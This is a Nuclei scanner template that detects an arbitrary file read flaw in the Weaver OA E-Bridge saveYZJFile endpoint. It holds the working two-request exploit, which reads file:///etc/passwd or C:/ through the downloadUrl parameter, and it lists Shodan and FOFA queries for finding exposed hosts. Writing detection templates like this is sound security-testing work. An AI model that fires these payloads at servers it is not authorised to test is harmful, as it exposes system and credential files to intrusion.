nuclei-templates/http/vulnerabilities/weaver/weaver-ebridge-lfi.yaml

id: weaver-ebridge-lfi

info:
  name: Weaver E-Bidge saveYZJFile - Local File Read
  author: SleepingBag945
  severity: high
  description: |
    There is an arbitrary file reading vulnerability in the Weaver OA E-Bridge saveYZJFile interface. An attacker can read any file on the server through the vulnerability.
  reference:
    - https://peiqi.wgpsec.org/wiki/oa/%E6%B3%9B%E5%BE%AEOA/%E6%B3%9B%E5%BE%AEOA%20E-Bridge%20saveYZJFile%20%E4%BB%BB%E6%84%8F%E6%96%87%E4%BB%B6%E8%AF%BB%E5%8F%96%E6%BC%8F%E6%B4%9E.html
  metadata:
    verified: true
    max-request: 4
    shodan-query: eBridge_JSessionid
    fofa-query: app="泛微云桥e-Bridge"
  tags: eBridge,weaver,oa,lfi,lfr,intrusive

http:
  - raw:
      - |
        GET /wxjsapi/saveYZJFile?fileName=test&downloadUrl={{path}} HTTP/1.1
        Host: {{Hostname}}
      - |
        GET /file/fileNoLogin/{{idname}} HTTP/1.1
        Host: {{Hostname}}

    attack: pitchfork
    payloads:
      path:
        - file:///C:/&fileExt=txt
        - file:///etc/passwd&fileExt=txt

    stop-at-first-match: true
    skip-variables-check: true
    matchers:
      - type: dsl
        dsl:
          - "status_code_1 == 200 && contains_all(body_1,'id', 'filepath') && !contains(tolower(body), 'status\":\"error')"
          - "status_code_2 == 200 && contains(header_2, 'filename=')"
          - "contains(body_2, 'Program Files') || regex('root:.*:0:0:', body)"
        condition: and

    extractors:
      - type: regex
        name: idname
        internal: true
        group: 1
        regex:
          - '"id":"(.*?)"'

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